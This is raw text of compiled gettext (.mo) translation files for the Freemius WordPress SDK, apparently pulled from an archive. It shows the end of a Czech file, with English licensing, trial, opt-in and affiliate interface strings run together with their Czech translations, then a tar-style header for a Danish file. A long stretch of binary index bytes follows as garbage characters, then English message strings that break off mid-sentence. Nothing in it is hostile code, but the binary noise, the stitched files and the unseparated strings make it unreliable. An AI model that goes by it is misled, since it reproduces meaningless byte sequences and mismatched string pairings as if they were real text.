%sYou do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.Your account was successfully activated with the %s plan.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal CodeaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.allowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %sclose a windowDismissclose windowDismissdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,interjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingproduct versionVersionsecondssecsend me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Karolína Vyskočilová , 2019-2022 Language-Team: Czech (Czech Republic) (http://www.transifex.com/freemius/wordpress-sdk/language/cs_CZ/) Language: cs_CZ MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=4; plural=(n == 1 && n % 1 == 0) ? 0 : (n >= 2 && n <= 4 && n % 1 == 0) ? 1: (n % 1 != 0 ) ? 2 : 3; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %s pro přístup k verzi %s zajišťující podporu a nejen bezpečnostní aktualizace. Placená verze %1s je již nainstalována. Aktivujte jí, abyste mohli těžit z %2s funkcí. %3s%1s okamžitě zastaví všechny budoucí opakující se platby a licence k plánu %s vyprší za %s.%1$s okamžitě zastaví všechny budoucí opakující se platby a licence k plánu %s vyprší za %s.Dokončit aktivaci „%s“Rozšíření %s bylo úspěšně zakoupeno.%s instalací%s licencíPřed %s%s a jeho doplňky%s provizi, když zákazník zakoupí novou licenci.%s bezplatná zkušební verze byla úspěšně zrušena. Jelikož toto rozšíření nenabízí bezplatnou verzi, bylo automaticky deaktivováno. Chcete-li jej v budoucnu používat, budete si muset zakoupit licenci.%s je pouze prémiové rozšíření. Před aktivací pluginu si musíte nejprve zakoupit licenci.%s je nový vlastník účtu.%s minimální částka výplaty.%s nebo vyšší%s hodnocení%s hodnocení%s s%s hvězda%s hvězd%s krát%s krát%s pro přístup k verzi %s zajišťující podporu a nejen bezpečnostní aktualizace.API←➤ÚčetDetaily účtuAkceAktivovatAktivovat %sAktivovat %s plánAktivovat %s funkceAktivovat bezplatnou verziAktivovat licenciAktivovat toto rozšířeníAktivovanýRozšíření pro %sDoplněkDoplňkyRozšíření musí být nasazeno na WordPress.org nebo na Freemius.AdresaPartnerPo bezplatné %s platit jen v %sAktivovat licenciVšechny typyPovolit a pokračovatČástkaBěhem nastavování uživatelského beta módu došlo k neočekávané chybě.Došlo k neznámé chybě.Aktualizováním na Beta verzi nahradíte nainstalovanou verzi %s nejnovějším vydáním Beta verze - používejte s opatrností a ne na produkčních webech. Varovali jsme vás.Anonymní zpětná vazbaOpravdu chcete smazat veškerá Freemius data?Opravdu chcete pokračovat?Automaticky se obnoví za %sPrůměrné hodnoceníÚžasnýStaňte se naším afiliátemFakturaceFakturace a platbyBlokováníBlog IDTěloJméno firmyKoupit licenci nyníKoupit licenciNemůžete najít svůj licenční klíč?ZrušitZrušit %s > pokračovatZrušit předplatnéZrušit zkušební verziZrušenaRuším %sRuším %s...Ruším předplatnéZrušení zkušební verze okamžitě zablokuje přístup ke všem prémiovým funkcím. Opravdu chcete pokračovat?Změnit licenciZměnit vlastnictvíZměnit plánPokladnaMěstoVyčistit API cacheVyčistit transitenty aktualizacíKlikněte zde pro anonymní používání tohoto pluginuKlikněte pro zobrazení plné velikosti snímku obrazovky %dProduktyKódKompatibilní až poKontaktKontaktovat podporuSupportPřispěvateléNelze aktivovat %s.ZeměDatumDeaktivovatDeaktivovat licenciDeaktivaceLadící logDetailyNemáte licenční klíč?Přispějte na tento pluginSnižuji vaše předplatnéStáhnoutStáhnout verzi %sStáhnout nejnovější verzi %sStáhnout nejnovější verziStaženoEmailEmailová adresaKonecZadejte emailovou adresu použitou při objednávce, abychom vám na něj mohli znovu poslat licenční klíč.ChybaChyba přijatá ze serveru:VypršeloVyprší za %sDalší doménySouborFiltrAby bylo vyhověno WordPress.org pokynům, před zahájením zkušebního období vás žádáme, abyste se rozhodli pro uživatele a necitlivé informace o webu, aby %s umožňoval periodicky odesílat data do %s za účelem kontroly aktualizací verzí a ověření zkušební verze.ZdarmaZkušební verze zdarmaVerze zdarmaFreemius APIFreemius DebugFreemius SDK nemohl najít hlavní soubor pluginu. S aktuální chybou se obraťte se na sdk@freemius.com.Stav FreemiusCelé jménoFunkceVýborně, nainstalujte prosím cURL a povolte ji v souboru php.ini. Dále vyhledejte v souboru php.ini direktivu 'disable_functions ' a odeberte všechny zakázané metody začínající na "curl_". Chcete-li se ujistit, že byla úspěšně aktivována, použijte 'phpinfo() '. Jakmile je aktivován, deaktivujte %s a znovu jej aktivujte.Máte licenční klíč?Jak se vám líbí %s? Otestujte všechny naše %s nadstandardní funkce s %d-denní zkušební verze zdarma.Jak nahrát a aktivovat?Jakým způsobem budete mé produkty propagovat?je drahý a nemohu si ho už dovolitNedokázal jsem jej zprovoznitNevím, co je cURL nebo jak jej nainstalovat, pomozte mi!Nechci s vámi sdílet své informacenašel jsem lepší %sjiž nepotřebuji %spotřeboval jsem %s jen dočasněIDMáte-li chvilku, dejte nám vědět, proč %sPokud chcete použít %s na těchto stránkách, zadejte platný licenční klíč a klikněte na tlačítko aktivovat.Za %sNainstalovat verzi zdarmaInstalovatNainstalovat aktualizaciInstaluji plugin: %sNeplatné ID modulu.Neplatné ID uživatele nebo emailová adresa.FakturaJe aktivníLicenci se nepodařilo aktivovat.Deaktivace licence pravděpodobně selhala.Zkuušební režim už vám skončil, takže už není co rušit :)Není to to, co jsem hledalOdebírat betaverzeKlíčDejte nám prosím vědět, co nefungovalo, ať to můžeme opravit pro další uživatele...Dejte nám prosím vědět z jakého důvodu, ať to můžeme zlepšit.PosledníPoslední aktualizacePoslední licenceNainstalována nejnovější verze zdarmaNainstalována nejnovější verzePřečtěte si víceDélkaLicenceLicenční smlouvaLicenční klíčProblémy s licencí?Licenční klíčLicenční klíč je prázdný.DoživotníLocalhostZáznamLoggerZprávaMetodaModulCesta k moduluTyp moduluVíce informací o %sJménoNovýNová verze k dispoziciNovější verze zdarma (%s) nainstalovánaNovější verze (%s) nainstalovánaNewsletterNásledujícíNeNe - jen deaktivovatŽádné IDKreditní karta není vyžadovánaBez vypršeníOKZúčastnit seOdhlásit seZúčastněte se, aby byl "%s" ještě lepší!jinéE-mail vlastníkaID vlastníkaJméno vlastníkaKompatibilní s PCIPlacený doplněk musí být nasazen na Freemius.E-mailová adresa účtu PayPalPlatbyVyplácení probíhá přes PayPal jednou za měsíc a v USD.Druh členstvíPlán %s neexistuje, proto nemůžete používt zkušební verzi.Plán %s nepodporuje zkušební období.ID členstvíKontaktujte nás prosím zdeKontaktujte nás prosím s následující zprávou:Stáhněte si prosím %s.Zadejte licenční klíč, který najdete v emailu odeslaném po provedení objednávky:Pro povolení módu ladění chyb zadejte licenční klíč.Dokončete upgrade provedením následujících krokůVyberte si, jestli chcete být informování o bezpečnostních aktualizacích, vylepšení funkcionality, vzdělávacímu obsahu nebo občasných obchodních nabídkách:Zadejte prosím jméno a příjmení.PluginHlavní stránka pluginuID pluginuInstalace pluginuHistorie změnPopisFAQVlastnosti a ceníkInstalaceVaše hodnoceníPluginyPluginy a synchronizace šablonPrémiumPrémiová verzePrémiová verze je již aktivní.CeníkZásady ochrany osobních údajůPokračovatProduktyOkresVeřejný klíčKoupit licenciZakoupit dalšíRychlá zpětná vazbaZnovu poslat aktivační emailObnovit licenciObnovte svou licenci teďŽádostiVyžaduje verzi WordPressVýsledekSDKCesta l SDKUložit %sPlánované cronySnímky obrazovkyHledat podle adresyTajný klíčZabezpečená stránka HTTPS %s spuštěná z externí doményOmlouváme se, ale měli jsme nějaký dočasný problém se zrušením vaší zkušební licence. Zkuste to znovu za několik minut.Pravděpodobně máte nejnovější verzi.Vyberte zemiOdeslat licenční klíčLicence pro jednu instalaciID stránkyWebyPřeskočit & %sZkratkaOmlouváme se za způsobené nepříjemnosti, ale když se nám dáte šanci, tak se vám ze všech sil pokusíme pomoci.Omlouváme se, ale aktualizaci emailu jsem nemohli dokončit. Uživatel s vámi zadaným emailem už je registrován.ZačátekZačít TrialZačít můj bezplatný %sKrajOdeslat & %sPředplatnéPodporaFórum podporySynchronizovat data ze serveruDIČPodmínky službyDěkujeme!Děkujeme %s!Děkujeme za potvrzení změny vlastnictví. Email byl právě odeslán na adresu %s, ke konečnému schválení.%s rozbil můj web%s nefungoval%s nefungoval podle očekávání%s je skvělý, ale potřebuji funkci, kterou není podporovaná%s nefunguje%s náhle přestal pracovatProces instalace byl zahájen a může trvat několik minut. Počkejte prosím na dokončení - neobnovujte tuto stránku.Balíček remote pluginů neobsahuje složku s žádoucím "slug" a přejmenování nefunguje.Aktualizace %s byla úspěšně dokončena.ŠablonaZměna šablonyŠablonyJe k dispozici nová verze %s.Datum a časNadpisPro zapnutí módu ladění chyb zadejte tajný klíč vlastníka licence (uživatel s ID = %d), který najdete v sekci "Můj profil" vaší nástěnky.CelkemMěstoZkouškaTypNelze se připojit k systémovému souboru. Potvrďte prosím svá pověření.Neomezené množství instalacíNeomezené aktualizaceAž pro %s webůAktualizovatAktualizovat licenciAktualizace, oznámení, marketing, žádný spamUpgradeNahrát a aktivovat stáhnutou verziCože?Uživatelská nástěnkaID uživateleUživateléHodnotaOvěřovací zpráva byla právě odeslána na email %s. Pokud ji nenajdete do 5 min, zkontrolujte prosím složku pro spam.OvěřenoOvěřit e-mailByla vydána verze %s.Zobrazit podrobnostiZobrazit placené funkceVarováníNemohli jsme najít vaši e-mailovou adresu v systému, jste si jisti, že je to správná adresa?Udělali jsme několik vylepšení %s, %sZkontaktujeme vaší hostingovou společnost a zkusíme vyřešit tento problém. Na %s dostanete upozornění, jakmile budeme vědět něco nového.Jsme rádi, že vám můžeme ukázat integraci Freemiusu i v rámci sítě webů.Statistika o webová stránc, emaiul a sociálních médiích%s vás vítá! Pro začátek zadejte svůj licenční klíč:Co jste očekávali?Jaká funkce?Jaké je vaše "%s"?Jakou cenu byste byli ochotni platit?Co jste hledali?Jak se %s jmenuje?Název pluginu na WordPress.orgChcete pokračovat v aktualizaci?AnoAno - %sAno - udělejte, co potřebujeteO zkušební licenci nelze žádat dvakrát.Jste jen na krok od - %sNemáte platnou licenci pro přístup k prémiové verzi.Máte licenci „%s“.Zakoupili jste licenci %s.Úspěšně jste aktualizovali %s.Účet byl úspěšně aktivován s %s plánem.Váš e-mail byl úspěšně ověřen - jste skvělý!Platnost bezplatné zkušební verze vypršela. %1$s Upgradujte nyní%2$s abyste mohli pokračovat v používání %3$s bez přerušení.Platnost bezplatné zkušební verze vypršela. Stále můžete pokračovat v používání všech našich bezplatných funkcí.Vaše licence byla zrušena. Pokud si myslíte, že je to chyba, obraťte se na naší podporu.Vaše licence vypršela. %1$sObnovte předplatné%2$s, abyste mohli mohli %3$s používat bez omezení.Vaše licence vypršela. Stále však můžete používat všechny funkce verze %s, ale pro získání technické podpory a nejnovějších aktualizací budete muset obnovit svou licenci.Vaše licence vypršela. Stále však můžete free verzi %s bez omezení.Vaše licence byla úspěšně aktivována.Vaše licence byla úspěšně deaktivována, jste zpět na plánu %s.Vaše jméno bylo úspěšně aktualizováno.Vaše licence byla úspěšně aktivována.Váše předplatné bylo úspěšně změněn na %s.Váš plán byl úspěšně aktualizován.Váš server blokuje přístup k Freemium API, což je zásadní pro synchronizaci %1$s. Obraťte se na svého poskytovatele , aby přidal do svého whitelistu %2$sVaše předplatné bylo úspěšně zrušeno. Platnost licence %s vyprší za %s.Vaše zkušebí verze byla úspěšně spuštěna.PSČ / směrovací číslo%s nelze spustit bez %s.%s nelze spustit bez tohoto pluginu.povolitZbývá %sProbíhá aktivacerokAPISkrýtDebuggingGratulujemeZablokovánoPřipojenoStáhněte si nejnovějšíStáhněte si nejnovější bezplatnou verziMěsíčněExpiraceSložkaProbíhá odesílání emailůpoRočněRočněJedenkrátDruh členstvíTajný klíč chybíSDK verzeLicenceSynchronizovatSynchronizovat licenceAutorVypnutoZapnutozaloženo na %sSkrýtSkrýtdeaktivujetedelegovatneposílejte mi bezpečnostní aktualizace a vylepšení, vzdělávací obsah a nabídky.%s plánÚčtováno %sNejlepšíDobrý denJejdaDobrý den %s,JupílicenceWebymsnová Beta verzenová verzenení ověřenoCenaCeníkVerzesposílejte mi bezpečnostní aktualizace a vylepšení, vzdělávací obsah a nabídky.přeskočitHmmspustit zkušební verzipředplatnépřepínámnejnovější %s verze zdezkušebníTrialSmazatPřejít na nižší verziUpravitSkrýtZúčastnit seOdhlásit seZakoupitZobrazitPřeskočitAktualizovatVylepšitPřed %svendor/freemius/languages/freemius-da_DK.mo000064400000206740147600365160014763 0ustar00$,*X8Y8^8Ad88nI929Z9hF:d:S;%h; ; ;;;;6f<<_R===#= >%'> M> Z> d>o>v>~>>>@>H>"?O5?M?j?>@@@@A%A5AAA AAABB&,B-SBB BBBBBB5BC$C 4C >C'JCrC C CCoC#D*DGDTEfEE/FBF"^FF(F2F!F>Ga[G+G0GH,HCHRHZHnHsH{HHHHH H HH HEHy)IIIII nJyJJ J J JJJYJMK\K mK yKKKKK K(K1K%"L:HLL LLLL L LLL L7L7M 5]mt]g]pJ^^^y^U_n_ ___ __%_ `>`F`c`z` `&``1_a.aOabAbbyb2lcccac 7dDd[dB_d,dd d dd e %e0e7e?e Qe \ehe xeee4ee eeeefff'f7f Rf^f ef qf}ff,f f ffggg g!gg hhhh%1hWh%]h+hh h h/himi~ij jujjdklm*m 0muDuW]u uuuuuv/v6v:vCvKvQv avmv v5vsvl4w&www w wyy4yHyPyly ry|y y=y&yLyf?zz z zzzz zz z {{ {+{ A{N{_{||%<}/b}})} } }\}O~~~C/smGxd.- ǁԁہ'"MςG,e S_TΆԆن߆E*=Ofu|** dz  ʈ' BObijWԉn,"@cB6*=a Œ-ӌ&5/\#*ʍ /4QdUD $QMvď/֏o&>Ր & <4DqZTR.:.i-;ؔ9ZN3<ݕbP}UΖ_$K(kG#ܘ%)&$PuU)Vǚ;ܚ6>Oϛ$ $@\&z*7̜93Rɝݝ*1%Ws#Ǟٞ ,AUZ _lNuğ,=NSY1t Ҡ 5 > L9XC֡ۡ 7= P\ k u  Ƣ ӢAnZh\dŨ!*0L} 6^_Jʫ%@ Q^m u @Hެ'O=MjۭF  ǯ߯,/2b | ʰ ְ5! 1 ;%Gm o(/GβTk/%?'e(1ִ$>-al+ε50C[sx  Ͷ׶ Ey;#ٷ ĸ ۸ Y w  ǹ)1/E u  ǺԺ 73 8BxS̻ an~%9IR5bXt ˾Ծ" =H[fl sY_#n/8 GR1bO &j55 320Ac~:<ow#$9<^I8c4!&gML7>mgp"X{y* BOg ~% 6T&]15L\>_y28ka 'W.6" $.6 = J Ta q~4  !- HS Y cm,  %  %,R.[4 1+m/~$u,~ !(JPg oy) :@,])>6 W; \[ [|   NV#^',( 1; DN^rz W -:N]r 5sDl0% Vas    !=-'kPhMSey    w%84m) d)L V#em'xd"s $UK,?l S;0 E "<Sgo2~) d { 4 O\qtz_nO+c}B >P=,2G^/x##  3/FQvUD(cO /o8>"<>D{YST.D5s-;'%ZM38bTx_e-X*9"<[U< Z k r                 /  O Z c  g u x               % + ? D  I U Q^                 + < A H Q  Y  c q 9u L     ( 0 J  h  v             yl~|'4mf*f-/i#$M}#:  Y*D5ui^]Lyptw;xFk|K3 !Pt'o.Yg_8,!@vhBf,0``j %7?6Cz9kzJ[,h42eSWBXr62JjL| "c<(:{@ 6Zlpo\/^+-nAl5%w"T0=\O7EnP)<Jvs&q?uNyA}{FE;#O8 =_{FDSLDM3aqRGv 5Q[rISZg>%$]U~9T u2cGKn;~go$UO0X)a +mQ_s1ZxGp:^`QmNY &9W!R& [xjqdb4>3?B]\t'eAbH/dR=>w)a eHX}sKNC+V*.@c(r 1 "E <ITd IU1H-VV8WziP.kb( CMh7HmmW00t %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s"The ", e.g.: "The plugin"The %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is my client's email address%s is my email address%s is the new owner of the account.%s minimum payout amount.%s opt-in was successfully completed.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.ActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred while trying to toggle the license's white-label mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre both %s and %s your email addresses?Are you sure you want to delete all Freemius data?Are you sure you want to proceed?Are you sure you would like to proceed with the disconnection?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Associate with the license owner's account.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundleBundle PlanBusiness nameBuy a license nowBuy licenseBy changing the user, you agree to transfer the account ownership to:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.Can't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanChange UserCheckoutCityClear API CacheClear Updates TransientsClick hereClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCommunicationCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeCurrent %s & SDK versions, and if active or uninstalledDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDebug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the "Stop Debug" link.Delegate to Site AdminsDelete All AccountsDetailsDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Disabling white-label modeDisconnecting the website will permanently remove %s from your User Dashboard's account.Don't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload Paid VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.Duplicate WebsiteDuring the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEmail address updateEnabling white-label modeEndEnter email addressEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used during the purchase and we will resend you the license key.Enter the email address you've used for the upgrade below and we will resend you the license key.Enter the new email addressErrorError received from the server:ExpiredExpires in %sExtensionsExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.For delivery of security & feature updates, and license management, %s needs toFreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Great, please install cURL and enable it in your php.ini file. In addition, search for the 'disable_functions' directive in your php.ini file and remove any disabled methods starting with 'curl_'. To make sure it was successfully activated, use 'phpinfo()'. Once activated, deactivate the %s and reactivate it back again.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!Homepage URL & title, WP & PHP versions, and site languageHow do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't know what is cURL or how to install it, help me!I don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.If you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs active, deactivated, or uninstalledIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.Keep SharingKeep automatic updatesKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNames, slugs, versions, and if active or notNetwork BlogNetwork UserNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - just deactivateNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires PHP VersionRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStay ConnectedStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank for giving us the chance to fix it! A message was just sent to our technical staff. We will get back to you as soon as we have an update to %s. Appreciate your patience.Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you for updating to %1$s v%2$s!Thank you so much for 